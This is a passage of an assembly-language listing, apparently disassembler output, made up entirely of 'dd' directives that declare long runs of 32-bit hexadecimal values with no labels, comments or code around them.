dd 1A9D1DF0h, 66422EBEh, 8D1EC79Bh, 0E9E91AF0h, 0B38276CCh
dd 60ABAE03h, 54D4B97Bh, 0BC4CEC1Ch, 0DE3B8346h, 9ED7B88Dh
dd 0CF54D6FBh, 4D775A21h, 0D9369B72h, 0BE1DDDE5h, 2EBD6442h
dd 37993982h, 18876CF6h, 4EB91717h, 0AFE083E2h, 1BDC2EADh
dd 0FB362A2Ah, 4D66507Bh, 0C2A08250h, 2615884Eh, 5C09C805h
dd 31FE4A6h, 0F924124h, 6FBB14CBh, 16B0E7BBh, 0B9431DCEh
dd 7B0DCAAEh, 0A930E772h, 0B299197Ch, 97383FD8h, 89E7CB2Fh
dd 92DEB093h, 6497633h, 612BAA80h, 635F6F78h, 0BA30591Bh
dd 906B834Eh, 82AF0EB2h, 0B93C2773h, 752DC8DDh, 92428CC9h
dd 0C1191D66h, 2EB9F0C6h, 0D29B7783h, 90127243h, 3A6370Fh
dd 0B5645AE8h, 16D94D7Ch, 0F677A81Eh, 4E6FDB3Bh, 82558EDCh
dd 23450742h, 30EFD886h, 936A7847h, 79C63120h, 603260B9h
dd 0DE791EBBh, 91B13A87h, 770ECAAEh, 0C7C7D279h, 33A4E52Bh
dd 607175C9h, 0D64F033Ah, 65C9AFD6h, 8F5CFE26h, 7A31C73h
dd 0B13984AFh, 0C2392ACFh, 0F2E8A303h, 6717FD23h, 4421D7ADh
dd 8F1C0990h, 997F806h, 90EED190h, 0EE79DC4Fh, 2EC3848Ch
dd 0C948115Fh, 103D1450h, 8F394DC4h, 0A4A3D4DBh, 0D38466F8h
dd 0CEF5AAC1h, 7EE2A2DAh, 89AA8DC1h, 0FB8EAE06h, 33A6A463h
dd 5B861276h, 0D02CB812h, 2DE1DF64h, 8D1383FCh, 3FC91340h
dd 0EB8828E1h, 4F0C989h, 2539C435h, 5CE21B7Fh, 9247B2A0h
dd 99D4CD15h, 2DDAB811h, 65D7102Ah, 0AE8B206h, 712B2A61h
dd 0DDFD6007h, 4B2DA542h, 0B22F1F16h, 0D367FA3Ch, 0C3BD08CEh
dd 4228E806h, 0C2E498F3h, 13288A9Fh, 9FFB3920h, 6ECC97E2h
dd 0B8E64A32h, 6E08A513h, 6C5FFEAh, 48F8F8F9h, 19DA4763h
dd 0A8AF265h, 52AF8F64h, 0D9C1FA9Ch, 6F8752DDh, 5DE27F64h
dd 5EC88074h, 1577A3CFh, 0DF7CBC72h, 0F0D144Dh, 0A4B5DE32h
dd 98CF5540h, 19FAA08Ah, 0F67194FAh, 3763EE9Fh, 0E1D88F35h
dd 0C70618DBh, 407947h, 0C840C0C0h, 325E93F1h, 0B6F3D18Ah
dd 0C533101h, 279A3414h, 0AC779D76h, 4769DEBAh, 8A15AD87h
dd 0F32AE9A3h, 18F83083h, 38079052h, 0FCC77371h, 87A177BFh
dd 3B038DE6h, 55CF4C9Ah, 85088AE7h, 832E6657h, 7D20973Fh
dd 3D28DE6Ah, 9BDF6C09h, 0DE916E2Ah, 3744172Dh, 0C4F66172h
dd 0C2673AAh, 5A601A8Bh, 12C7BEEFh, 0B3E38B0Eh, 96AE113Bh
dd 0ED78612Ch, 49D1DBCFh, 6CB8AFD8h, 25E29DEDh, 1561A3ABh
dd 0E376C26Bh, 84EB6B23h, 480EB9F5h, 0A6D70C40h, 2F11A58h
dd 3D90B159h, 885E8C96h, 1F08DB8Fh, 0B2D652F7h, 625F260Bh
dd 0F7C31945h, 890BA4E4h, 9B77B847h, 1F7FA40Eh, 1507BA53h
dd 4DACA70Ah, 6F433750h, 0B0EF1F2Bh, 0DBAB128Ch, 0DB83D02Bh
dd 4313953Ch, 7BA2BB08h, 0D9E6850Ch, 444CC387h, 0CA43A8F7h
dd 0ABF731FAh, 5BB570Bh, 0AFD027A5h, 23781570h, 0F28AE4BEh
dd 0E0BF5860h, 0BB173C55h, 0EB803081h, 0A87FB53Fh, 1B133A14h
dd 0AD572E53h, 7F39B664h, 0F519D806h, 0AE4033BDh, 0B7BC84A9h
dd 0AA6FA1FBh, 3C2F8B6Dh, 0AF740A93h, 47B10447h, 0A8D55FFFh
dd 0CC145EAh, 0E7464213h, 2C19F538h, 24A656AEh, 0A57B2A33h
dd 1DD3EAABh, 0E122DEDBh, 2505E1E3h, 708A6C34h, 0E8618264h
dd 891577B3h, 61570D5Eh, 34D3561Dh, 6FC4919Fh, 0CD2B3762h
dd 14B0AE72h, 0F970DC6h, 761004h, 0A759B026h, 0A860783Eh
dd 374947D5h, 0F21AEF11h, 0FC9A618Dh, 53B3D3AEh, 1EB78D31h
dd 653BFA20h, 50F99C2Ch, 0F80903Dh, 9C87FAE6h, 0B337F955h
dd 0A217CF62h, 0E052E85Dh, 8CAB3DDFh, 0AA4DED55h, 0B993E57Fh
dd 0D7837613h, 0D3852286h, 0F26A99B3h, 75E91D74h, 0EB5ECA5Ch
dd 7B0FA02h, 0A0667194h, 67CA6BF6h, 498A6A91h, 2E5CF8E2h
dd 617387BBh, 45CB458Bh, 3F34C4A9h, 6CF51447h, 0B5EA47F3h
dd 8D48D508h, 18013FBCh, 0C7676B24h, 0CE2E7E3Fh, 0A16C3864h
dd 40FFF9B7h, 0CC7A8187h, 2D9BABD2h, 0AED9B972h, 0C666DF08h
dd 2D8B31Eh, 0A21A6A61h, 4DD817FAh, 0AA5CD8CCh, 0D47ED5E7h
dd 22874B8Dh, 0C7B73D0Ch, 3F21E207h, 277EA397h, 0A30FA503h
dd 0E2E4CF69h, 0F3921BBh, 1E755C7Ah, 1D9FB04Dh, 565497A7h
dd 73D98942h, 7C3546C0h, 2A38D147h, 61975B86h, 49A89386h
dd 0A3B57A00h, 47833D75h, 3E96FC9Dh, 81DDA3E1h, 85A343h
dd 8184A0C5h, 4088CABAh, 0BF020009h, 0AE68D9D3h, 1224B65Bh
dd 9319854Dh, 11EC073Fh, 0C6C52FEh, 0A8940CC8h, 9C7FF62h
dd 0AD563A8h, 63A87BA1h, 0FD5460D4h, 75D01F93h, 0B18DC19Bh
dd 112DFF23h, 575E597Eh, 0FA6CF19Dh, 0C175287Fh, 4DFE7C4Ch
dd 0F242A08Bh, 0A4B5C795h, 31D4EF51h, 0BF9E297Bh, 0E9EA0ABBh
dd 7BF46CADh, 0BC941BEAh, 0AB65CE9Ch, 4D4F4447h, 1C863E62h
dd 0CA22EF17h, 9804E10Bh, 0D6C3F713h, 3E5ECC52h, 1BAE833Eh
dd 7A0C5523h, 8424FE49h, 6EBC32AEh, 0DF56EF2Bh, 0BE9DC71Eh
dd 3DFF2CDAh, 0B3EEC399h, 67506D3Dh, 304B0D0h, 59E5B6BAh
dd 0B22C1C06h, 6D05E663h, 2664C468h, 6D71A3B7h, 0B8902215h
dd 77ED7873h, 9C9ADF19h, 0D4D334A8h, 59CDE869h, 0B91CECB4h
dd 1793638Ch, 122A928Ch, 0EE824635h, 89786C2Eh, 2177805h
dd 75AAE834h, 1822AA49h, 0B1AFD87h, 36CFD5A7h, 0F4D52600h
dd 0B88B0C78h, 16CC79B1h, 0A1637Ch, 0BF658ACFh, 1BD549Eh
dd 0D5CF163h, 266D8958h, 7BD2B571h, 5E9151C6h, 0DC542103h
dd 0B8CE723Fh, 490F22F4h, 34C9CFDAh, 0D8801F24h, 983763FCh
dd 0E41ED652h, 7BC978DEh, 704A2C77h, 76B6BB5Fh, 91B83775h
dd 9CB0B299h, 892794C2h, 0EBE8B6FAh, 2C96254Ch, 8A3DB382h
dd 0CC6EB88Dh, 5728A898h, 7E704B3Bh, 748D6E76h, 6C5083BFh
dd 9D2CD03Eh, 48B3127Ah, 0DBD2A2F3h, 0FA06C955h, 1F36D715h
dd 678F611Dh, 0B654635Fh, 0D91E68ABh, 0D2FD900Bh, 462B4F21h
dd 0B7F94BD2h, 63705045h, 5D975EBh, 0A4BAAE2h, 63A037C2h
dd 0BEC70455h, 0B7C6365Fh, 29CA9D06h, 0B80FEA89h, 8D78B3B2h
dd 84ECEF4Ah, 81125C29h, 8879FDE1h, 0BAD6C28Bh, 245E1371h
dd 6BE20B1Eh, 5F77F86Dh, 5E2B4956h, 95112FC5h, 31600C73h
dd 55DAA1B8h, 0EA4A1834h, 0F23AE456h, 9D0C6658h, 0BBDA562Dh
dd 8472D9E5h, 78F1DA9Ah, 0B3A46A8h, 0B549DC6Dh, 9CCCFE25h
dd 3A409925h, 7515F170h, 706556C7h, 30ACCCDFh, 8BB9EF9Bh
dd 9FE3CCF2h, 0AC52764Dh
dd 9CEFCDA4h, 3BBCA5Dh, 0B7C8ABD0h, 0D6A798A3h, 0E275F541h
dd 6D773962h, 310A2DF9h, 0A0E93F46h, 0A5834B4Fh, 4EA73DCEh
dd 0B4618684h, 21BB6F0Bh, 41E1391h, 4FAC67A5h, 0AD253A34h
dd 0E1FC3C97h, 80CE3C5Fh, 75E9E4C4h, 16BBA7DAh, 13F1D058h
dd 905B27FFh, 806622F3h, 6ED43E2Dh, 746D80D2h, 566A91BFh
dd 3F9CA42h, 0B13A1AFDh, 790B48B2h, 94A2C4D9h, 0DE1F2FD2h
dd 310C1C5Ah, 0EF419DACh, 670D9EF6h, 4CF8BBC4h, 0F0EC9AA7h
dd 65201F05h, 8CEA29CFh, 0C08ECC42h, 609A15CCh, 0F3F0DB8Fh
dd 4AE262FBh, 0EAEF6BE2h, 6741DCD7h, 0CE9197C0h, 52FB8C97h
dd 0C639EC7Fh, 85511DF2h, 0A11CE00h, 0DD87FB2Fh, 0AF215BA5h
dd 0A43907E9h, 58E1F717h, 0A15E54D4h, 58D31FB6h, 0D2FC239Eh
dd 5CD989DEh, 71986D2Ah, 3DB714C8h, 0D96FA74Dh, 0DBD0CACAh
dd 0E6593590h, 0A3127AFCh, 9769B74h, 87508532h, 1667EEBFh
dd 0D6A46DF7h, 0EEEFCA4Fh, 55A06D38h, 6FAE94D4h, 0CB774A77h
dd 1CD30E76h, 1EFE1F79h, 0FC0308C6h, 6AA51234h, 30EDF68h
dd 23482915h, 38DED7EAh, 0F08F9C6Eh, 0BFFCEFABh, 8E72956Eh
dd 8481F36Fh, 0BAC7554Bh, 0EC57BB00h, 0C5EEC2ABh, 0E90E493Fh
dd 0CF6EC64Dh, 4F65E9Ch, 0A139F34Fh, 0ED140867h, 0DBF372B2h
dd 62483BECh, 7950264h, 0C9E7C8EFh, 87250717h, 0CCCF968h
dd 6E733848h, 0D42F58FEh, 0DA7333F3h, 0F120B590h, 404BEC69h
dd 272B98D4h, 0EAC7FF5Ch, 0DB15A2ECh, 0BB73634Ah, 0A19E2716h
dd 968AA117h, 6C9FAC06h, 0B7B6D144h, 9F5C3FB8h, 6F7D2993h
dd 652E1102h, 1F915D38h, 82DDB5D8h, 4DBADDF2h, 0A5442D57h
dd 0DA5B27CBh, 0B0842347h, 835E0620h, 1CB7B795h, 0A6581894h
dd 0B955F55Ch, 96AC595Dh, 0CD102EBAh, 79BB683Ch, 88A3B288h
dd 0E5ACCFC3h, 0E58D3731h, 2EEFE15Eh, 0B673AFE9h, 0E195A590h
dd 4769A507h, 20846D3Ah, 0F4F8C36h, 0E36EF600h, 124AD406h
dd 0E5C21770h, 93902D43h, 6C76BC38h, 4D61FCCEh, 0F15BB6Ah
dd 9E577AC8h, 24E41691h, 6E3F5271h, 0F8BF3E59h, 0EF86F5EEh
dd 0B0B39ABh, 22D7BAA7h, 2F2A8D6Fh, 0A95661C6h, 6EC79B05h
dd 337D0D0Ah, 978DB726h, 6E855A63h, 0D001178Bh, 3D80117Eh
dd 21C4B84Ah, 14921E9Fh, 0F86A6F94h, 0FB09647Fh, 55202CE7h
dd 61DA4887h, 0DBDC852Fh, 937DCB55h, 0FDDD1045h, 86BD47D1h
dd 269DBDDDh, 5E431AEEh, 0C81E1B9Bh, 9621861Dh, 0D5034B34h
dd 0BC0C710Fh, 0E6312669h, 28536FBEh, 1919B27Ch, 945FF99Ch
dd 0F5A066ACh, 0C8C84848h, 0CFBBDBA9h, 0F3FE420Bh, 0F1832661h
dd 34C5C2B6h, 0E7148279h, 7CE83D52h, 0A0F599F7h, 99579F60h
dd 38CCD3F2h, 4B5E73Ah, 0E01A1B18h, 0C43A2AD0h, 4D773639h
dd 0CEAAEBBCh, 0CBD45F94h, 0EC8FEE25h, 6698E04Bh, 19B40279h
dd 41B6DE6Ah, 9D31C077h, 383A25C0h, 433195BDh, 21C2794Bh
dd 0C26551CAh, 3595EE6Bh, 5A23B3B1h, 600F53AEh, 63D70A65h
dd 0DD61997Ah, 0E3863BEEh, 129449ECh, 0E21965A7h, 73312C2h
dd 219A43Ah, 0C6D8F61Dh, 2FF6F039h, 43283A61h, 7EE1AED9h
dd 0A604BFB9h, 6FC3C65Fh, 7110C103h, 0E228E83Ah, 0D5F10F53h
dd 0D1AF5C32h, 0F0E0A53Ah, 63164062h, 0C038D353h, 8FF60E5Bh
dd 41D160D9h, 0C81E5005h, 91FC38E2h, 0B4C4C76Fh, 0F544D05Bh
dd 0B562A787h, 2FC6CD99h, 9D658AF0h, 0E0BF19B3h, 0C6786CE1h
dd 0E4678338h, 9487B6Ch, 28ED0FFCh, 40388095h, 2569B1D7h
dd 8C245DDCh, 7D4A2A02h, 0B6DFBEA4h, 39BDAB45h, 0E4C68EA1h
dd 3D3A24D4h, 6D469EEh, 46CF5680h, 8C46BD6Fh, 60F24969h
dd 4A040D8Ah, 53EDD155h, 4DA3E078h, 0E621442Bh, 0BBB704D5h
dd 0CAAB2132h, 41EE5B6Dh, 5A19D50Ch, 55348234h, 0EBF505C4h
dd 286F20BCh, 133E1AB4h, 4E55FF0Ah, 0E687F820h, 86799CDEh
dd 0ED0D1A36h, 2504AE12h, 334B3A83h, 5AA43E47h, 0D22D4F5Ch
dd 969D97BBh, 5EE5B094h, 6C5506B4h, 2D068E51h, 2B5EA5B0h
dd 0C66376ADh, 3710847Eh, 7116B13h, 0C7FFFBE5h, 20E56C37h
dd 58821759h, 898A083Bh, 75A846DDh, 71B9A831h, 9D00A7B9h
dd 137AEA6Ch, 82926D78h, 0AE265CE9h, 6349C8EDh, 1F591250h
dd 8669F3B0h, 0F7DA365Bh, 0D2EC92AAh, 5E581317h, 277E2AD9h
dd 0DC5A1CDAh, 3BD0C6EDh, 34C65Fh, 7795E5BBh, 0C6B30FFBh
dd 962580C7h, 8022F286h, 0BDD2A90Bh, 1E3B3A45h, 0E55A0005h
dd 895E5F26h, 900F9F12h, 0BB8DD2B1h, 0A1DE250h, 4F86A883h
dd 0AB6192Bh, 0E8C2C5CFh, 0E2C7BDF5h, 0E7B9D44Fh, 6A1B8361h
dd 5206B6C0h, 46D29D4Ah, 59CBB7F4h, 15DE0834h, 87E32422h
dd 0F6A9264Ah, 2C3F9004h, 6B8AC430h, 2068220Dh, 6F9E9AAEh
dd 8C9C9036h, 23464A66h, 8559A58Ch, 3CBF7FF3h, 6D19ED8Bh
dd 0E8451FE5h, 33155AADh, 0C78E5343h, 0B369AA09h, 7FD3EB07h
dd 0E4FB723Ah, 0A39CC208h, 0A09360DFh, 9018AC2Bh, 0BB638B90h
dd 0A129378Ah, 0FF3E642Bh, 6096AB76h, 0D70FA6FBh, 69A4B7FFh
dd 4F0057C3h, 74A36336h, 20039C87h, 56E1EC5h, 0B1A51CFFh
dd 2C21ACFCh, 377F2156h, 5601C901h, 81647D41h, 3ACF8F10h
dd 0B8B40D51h, 0CDD228F7h, 94E75DF3h, 850B5066h, 237C4331h
dd 7FB721B6h, 0ADE49B6Ah, 73BF46B2h, 7DE9917Ch, 6BF7C8Ah
dd 9E23B59Fh, 9436F258h, 0CE5CA635h, 0D1147EEBh, 0DCC9E595h
dd 0EDB76A03h, 0C2F0943h, 0DAF45BB2h, 0CBC7AA0Fh, 98E70DDCh
dd 8E697BE4h, 9FAF2B4Bh, 4DA5DEC7h, 0FEB15F31h, 0EC74C391h
dd 0A539100Eh, 51F1CCE6h, 0A4798447h, 30569BAEh, 0F9A92DFAh
dd 0E124316Dh, 0C3432BC1h, 2626DBB1h, 0DC0194E2h, 0B9B65F65h
dd 8B059D32h, 0D7F8F33Dh, 45DF1714h, 0F4CA227h, 0A1A33427h
dd 0D0145E75h, 0E70B8178h, 997BD49h, 320BAAA6h, 0DB574CD4h
dd 5A04FC49h, 0D8C02F89h, 4C2D93D8h, 63C0E10h, 94840F05h
dd 82CA2EFAh, 0F86289ABh, 442CBACh, 0E28021C3h, 0EF6C4B16h
dd 0C85FE2Eh, 175D8DD7h, 7082FB0Fh, 878EA6AFh, 0AC913A2Ah
dd 0BF60262Eh, 1C635289h, 3097EFA7h, 0FD9636F1h, 0CD983D4Ch
dd 1CD531A3h, 0BDE1756Bh, 45BB792Bh, 9DC85496h, 1E5125C9h
dd 7502C43h, 306BBD3Fh, 5ADB0A2Ah, 0B58C5D27h, 7C32AD8Bh
dd 187D7954h, 7E718548h, 0C949FCD1h, 0DC7C7721h, 19E9D198h
dd 0D0FBA5Bh, 7EB39712h, 0D0127637h, 6A41FCBBh, 2FC99FE4h
dd 0B01F09EEh, 0AB1AE904h, 0C6651C0Fh, 0D2F28AA9h, 41E40298h
dd 0C71EC976h, 26E99F2Bh, 695855AEh, 0F8335589h, 0B6356014h
dd 0D56DF072h, 0CF7E0F9Bh, 0A26908D5h, 0BB4F010Bh, 89925F23h
dd 26BF3FC4h, 0F8D5822Fh, 7586DCCEh, 0E09C0BE4h, 0F474FFB7h
dd 43605250h, 1F7A3AC3h, 0BA081A4h, 0FBFC7459h, 3AAF272Fh
dd 3E020199h, 9C5616F7h, 0B844DFE3h, 9ED1EE84h, 10FB78B6h
dd 8214ACABh, 8D0833E2h, 25F046DDh, 95754E1Eh, 0B736F695h
dd 14978D9Dh, 7115B2EBh, 0AF4B5698h, 0D12B5474h, 0A1F38A4Ah
dd 0E3E741EBh, 0C7437674h, 7B00A93h, 4EFA1E57h, 35A9E190h
dd 0F3E0D659h, 3FD45984h, 0EC737B19h, 54C6E601h, 5CBB2737h
dd 10E7675Ah, 12E24DB1h, 3795EC32h, 0C8B84777h, 0F8686004h
dd 30F5C8E7h, 4F001497h, 58F998E5h, 3717E7EDh, 55CD5225h
dd 0C98E2BACh, 0B795A03Bh, 0A35137C8h, 0D9EEBE4Eh, 87F2B811h
dd 0A044A269h, 714E89EBh, 0A44B4451h, 23571A3Fh, 6F48729Ch
dd 0A309E4E1h, 49AC8C91h
dd 0EEE7AD0Eh, 0ECA4BD0Bh, 7ECC653Eh, 0C7AD3EB9h, 690021AFh
dd 7362C68Dh, 8B8A5DAh, 0B2141ED4h, 0BD2C25A8h, 63C81462h
dd 1BB6E82Ah, 0CABCDC27h, 4EA6D1A0h, 1C372E92h, 5B26B7A0h
dd 81983D1Dh, 0B8DE4361h, 3CADBF1Eh, 6755E932h, 0F89F852Eh
dd 3502B59Dh, 0A6A9A7E1h, 5890DCE2h, 4B93E5CFh, 7D9A6689h
dd 0A132F3D1h, 0A93E7331h, 0ED577237h, 89348D1Ah, 645B6518h
dd 0EB59AA0Fh, 7101A7D7h, 0B1578DC1h, 0CDA361DDh, 0D03C82DDh
dd 0FF4552B1h, 0F6352218h, 0E92D71F9h, 0F352A5AEh, 5047C689h
dd 2BCCA4A0h, 0CD72976Bh, 34F19668h, 0D3D40190h, 58DD69A0h
dd 0CEE5EF2Eh, 0EE888735h, 7E7A8621h, 63002BCDh, 899398ECh
dd 6F8072F7h, 59572024h, 627F7ADDh, 0AAE73AB2h, 21C6798Ch
dd 42D8204Ch, 11FC56BAh, 3E09213Fh, 799AE0C3h, 0A25195BBh
dd 3DFE354Ch, 0CD64760h, 185B808h, 8A7A07FBh, 7CD334Bh
dd 0FC43654h, 0E86B8A10h, 0B958F2D1h, 5C5DE0BAh, 3BC12532h
dd 44A2E300h, 4B601743h, 99590E89h, 1FDB397Bh, 7CC1CC44h
dd 278482D6h, 68830AD0h, 84041364h, 50022504h, 0E5E3D51h
dd 47B3FFB5h, 0E240F7Bh, 7BD91A9Dh, 0A2464A96h, 42B8CAE0h
dd 5D520747h, 0D1EBC196h, 0AA406770h, 5D1A6F2h, 0EDBBA254h
dd 0C182E9ABh, 405D120Ch, 7AA23EB5h, 7A3C83A8h, 1C5F1E38h
dd 0BD5D06CBh, 8E814996h, 635B333Ah, 0F8BDB359h, 5D075B90h
dd 0B2825B3Eh, 0F435CAF3h, 0EACA366Fh, 1D78AB3Bh, 0AC138A5Dh
dd 633C66A1h, 0E280B6D8h, 901582F5h, 20EA0B26h, 24AAE4BBh
dd 987F5FB9h, 0EA4751BCh, 1565E17Dh, 9296BCF9h, 0B5DCF2D2h
dd 52474944h, 25172B21h, 5F00AB2Eh, 9B681730h, 93543F54h
dd 20524DDh, 6679E68Eh, 0AFEF49F9h, 0E34F4F43h, 374A5426h
dd 65AE3606h, 0E07AB735h, 6A177C78h, 445173F6h, 41AA2AF8h
dd 7B43D8E5h, 5CDB1C7Eh, 0DEAEDF7Fh, 0AA37D712h, 0C57A3942h
dd 261B0562h, 521ED7D7h, 69F86F27h, 9DEE96B4h, 0C0614735h
dd 0C0277AF2h, 5278B7B9h, 111E7DE4h, 38DD43ACh, 0EBCE52AEh
dd 61F0FCC8h, 1082280Ch, 0E9EA89DCh, 0E7B485B1h, 475FA1A0h
dd 0A66E89E1h, 62899693h, 0D736E297h, 0F443E149h, 92F184DAh
dd 3BD657B0h, 7E41017Fh, 0A989BBDFh, 9ECF9822h, 5CA474AEh
dd 1CA918B6h, 0F524AA8Bh, 0DFEB1D4Fh, 0C2A9BD62h, 6BE306C6h
dd 0DC7226Ah, 4C46E3D4h, 0BA297B36h, 0B5DC42DCh, 426A5BF0h
dd 7C6E7A3Bh, 13FA7E84h, 68B86D9Bh, 0E92244EEh, 0F5169AACh
dd 416828ACh, 6D46B474h, 0CA254C12h, 19F56D12h, 0A686A526h
dd 0EDC617D1h, 0C4C4FEF6h, 0C0DDB27Bh, 81A8F38Ch, 1036D117h
dd 0B84CFE90h, 0E768699Dh, 0F4C1A03Ch, 0BB6F0EB4h, 75DA0552h
dd 0D9DF65F5h, 0F5DD78DDh, 0C1CE8230h, 0FA5A69C1h, 83696940h
dd 6F2E364Eh, 0AC6D9BFBh, 72764B87h, 0C1BF372Bh, 39EF0EAEh
dd 5BED951Fh, 9C1EAD40h, 0DBD5135Bh, 0E384907Ch, 40E530B3h
dd 0A57840C6h, 79819A39h, 9E1FFEDBh, 81C73079h, 7711B83Ch
dd 84CD5889h, 14F2E8D4h, 0E15CEEE8h, 3FB9F826h, 5727F66Bh
dd 3051797Ch, 0CC75CFCBh, 62C48E66h, 0BB3CF54Bh, 4850F3Ch
dd 968802EEh, 7E0C9478h, 0F58C3A3Dh, 0D5B7F24Ah, 0E88A1EA9h
dd 5B8F2DB0h, 5569270Eh, 327240B4h, 9B8AE2C3h, 5EC4C2F7h
dd 5A878E0Fh, 3305EC89h, 554F5A35h, 32255B9h, 2C1BD237h
dd 63C714F0h, 0CB203CC3h, 0B8FC10CAh, 0E2E718E6h, 8F08A0B0h
dd 78598FA3h, 0E59604CFh, 0EC8A2412h, 5446B3ABh, 63368BD4h
dd 6B6608F3h, 0B4F18BFDh, 0AF9FD67Bh, 0AB4A6924h, 0C778D779h
dd 0C663602Ah, 4EB4E2EDh, 3493543Eh, 5C28878Bh, 881B4239h
dd 657E221h, 78FF5F30h, 37DC6047h, 3C5471B7h, 3BDDB8B0h
dd 6EF2BFD8h, 983EE236h, 1C557F3Fh, 0EC72F612h, 21E71F57h
dd 6B4F0A65h, 0EC7438C5h, 0B0450BC2h, 3B59D5F4h, 815FAA59h
dd 0B38F9BD0h, 7D74CD52h, 4D084FCh, 74F81DEEh, 0F3D3B9EBh
dd 7583C82Bh, 1236DD1Bh, 0A17B2BEFh, 0F01F4841h, 90052D0Eh
dd 7ED70040h, 5884BA79h, 0DC55DBAh, 0D5D6152h, 6B2425A0h
dd 0A467194Dh, 2770EB9Ch, 4B5ADACAh, 5DB7A74Ah, 0BB2C4E43h
dd 96A1670Eh, 34EB9F4Ch, 0B77FB6EFh, 247F84DBh, 9978CA3Eh
dd 0C158885h, 75A1BA09h, 8680604Eh, 3C6994h, 88FAD9BBh
dd 321F0C74h, 0A0C0C12Ah, 7B25E0CCh, 0D5114935h, 1D93A973h
dd 28F146A2h, 18D57643h, 3BEF4D2Ah, 0E7FA5848h, 0FCFEEFFFh
dd 324ED011h, 0F353E830h, 0FAD5F7BEh, 0E45EF1CEh, 39076E54h
dd 75C034E2h, 0F45E3546h, 4B1327CCh, 31A32000h, 0E9CB6A07h
dd 0E1AE0705h, 558C8D77h, 79B1D591h, 446153F1h, 72ECF067h
dd 0A5CBC91Fh, 3BD5266Dh, 399B3FC4h, 5B5F2356h, 2494B560h
dd 0C679ECBFh, 0CAE75611h, 5014EC14h, 0A87ABE3Ch, 6C792A01h
dd 91C85619h, 43B63FE4h, 0E8ABE29Bh, 0A20DCD17h, 0DC8AC048h
dd 46676560h, 89D0306Dh, 0C60E8C10h, 0D93E66D7h, 0F1ADEC2Dh
dd 6477B408h, 0DA414144h, 99E2CAECh, 0F3A97FF4h, 652D79C9h
dd 0C2127F36h, 6F5B8CDh, 8ECAC05h, 73AA95EFh, 0B1DEAADCh
dd 584084BFh, 0B4683E51h, 7C86C4F7h, 0C352DDFCh, 9E7F9BFBh
dd 18398015h, 63304682h, 15944276h, 3E7D5AE9h, 19A3458Fh
dd 0C940DF94h, 75BA6E6Fh, 8BB39ECFh, 1BE696C6h, 8215AD48h
dd 0D671D089h, 677E979Eh, 4B5ADC94h, 0D6DF6722h, 0ECB18043h
dd 92CBC6F2h, 0F93B551Fh, 51DA6FA6h, 69DFCF7Ch, 97498B79h
dd 0B047B4EAh, 856F0AABh, 0EE554743h, 74FE6721h, 0E79218h
dd 0F1F061A2h, 0A8404AB0h, 0F15BBD8Ah, 0E7DA214Eh, 1DA5D731h
dd 33529657h, 8B90035Ah, 5998C1Bh, 0ED0A150Ah, 69E6E42Eh
dd 0E98238D7h, 0C2FA7FA2h, 696E78A8h, 982A4D08h, 0B49F89B1h
dd 0F169D701h, 5E98157Bh, 0D06D501Dh, 0ABAA7BA5h, 13986BD6h
dd 87568445h, 7BEE0E7Fh, 0D0B47A54h, 0EE064934h, 2F4952C8h
dd 9783C94h, 4228A1Bh, 6D14B4E1h, 0BF8132E7h, 0CB7C5108h
dd 71EF6ED2h, 0C95361CFh, 0CFF8BABBh, 34E10C55h, 0CABF7F67h
dd 0E261673Fh, 6C429149h, 7F69BC12h, 0DE8B9A70h, 6753500Dh
dd 0B7729510h, 0A49B74D6h, 0F7A0E8C3h, 7BCECD86h, 8F4EBA60h
dd 18BE9FD1h, 0FA716B4Ch, 0C1B9FD64h, 4B52516Ah, 63006CB0h
dd 2B299C98h, 66CDB07h, 0D2DF68B1h, 0DC220D7Ch, 4E06FA1h
dd 0B3CBFB02h, 67DAE907h, 3FDE228Fh, 0C1D76788h, 0F6EF6B10h
dd 20ABDAE6h, 7E6865DDh, 5DF8BC7Bh, 0CFF1AA3Eh, 3812B369h
dd 0E4F849F4h, 0AD8B503Eh, 0FBE04A1Fh, 0D13665B4h, 0D8FCA6A7h
dd 8DF9CF35h, 0ABAD078Dh, 97E0BEE1h, 0B3F78503h, 8B87ABCBh
dd 0ABEEE0D3h, 8CBC1DE5h, 0A38F5D93h, 8DBABA76h, 33350991h
dd 0BE65DC41h, 6FC3BB77h, 0E9032A6Eh, 0F09B69BCh, 5F8785AAh
dd 0A0614882h, 0C0A6EE38h, 1DBB0D23h, 0AD110588h, 732A987h
dd 32DCDD32h, 74ACF501h, 738D0B00h, 0DF2E281Eh, 750743DDh
dd 0EE4158D1h, 0B67BDE1Bh, 89E1C2CAh, 8A3C0F06h, 3C897B97h
dd 833A9BA1h, 4080CDA3h, 76E25143h, 4568C49Eh, 0DB0C3E20h
dd 7CE0BC9Ch, 2C5A3CFBh, 0E881EB63h, 75495FCh, 0E9F58F64h
dd 0B3547F69h, 1F255C58h, 893DA8C0h, 0A1591643h, 58576D6Ch
dd 22A5F6A0h, 279228A3h, 6FB565EFh, 1AD9CF30h, 97262C4Ch
dd 0E9250F65h, 7278039Fh, 79B0277Ah, 2A036220h, 0BA8309AFh
dd 41240165h, 0C3D878B8h
dd 434575ADh, 1DFE56B3h, 0E81BEDAFh, 0F2BEA8D0h, 0FF8B2440h
dd 6DBEBA8Fh, 44768F95h, 0A7D92915h, 0B6240E80h, 9E009220h
dd 9C082E6Bh, 139E8C8h, 74002187h, 5DBDA65Dh, 0CF103B82h
dd 0A116C002h, 84C57528h, 0B6D9BE9Bh, 90CF4048h, 11418171h
dd 0C3663AD1h, 5CAC9465h, 0F2C9DF2Dh, 17D8AC58h, 9AD63C3Bh
dd 0C9B951A5h, 3A3C5130h, 79EDFBACh, 0FD45991Ah, 8768A8CFh
dd 1FC5E159h, 578AF9E9h, 244EBC8Fh, 8465C8FEh, 6670714Eh
dd 4BEE4A05h, 0E60954h, 0A53B4324h, 0F069FE30h, 3B2854E3h
dd 0C7566DF0h, 7625044Ah, 0D3E43F3Dh, 0F9AD1C67h, 7A463B3Fh
dd 33B4111Ch, 5AE03A8h, 0F253699Ch, 25F26F9Ch, 0E1B62F3h
dd 30907060h, 20994965h, 0F5829768h, 0C6CC7EA0h, 0E04B4E71h
dd 139B20F3h, 0B23CC990h, 824EB7Ch, 8B4EC5F9h, 0BBA26DA4h
dd 0C94247FDh, 3FE87B3Ah, 39350483h, 9F554F29h, 0EA168F9Ch
dd 96B6967Ah, 64C42352h, 9C53A210h, 9AAFF018h, 0EF026739h
dd 5463334Ch, 7C5E2886h, 547CC196h, 0D91B8407h, 9CB1E5BBh
dd 0B49F537Ah, 0E70B2ED5h, 10F0782Fh, 90BBC40h, 550B15CBh
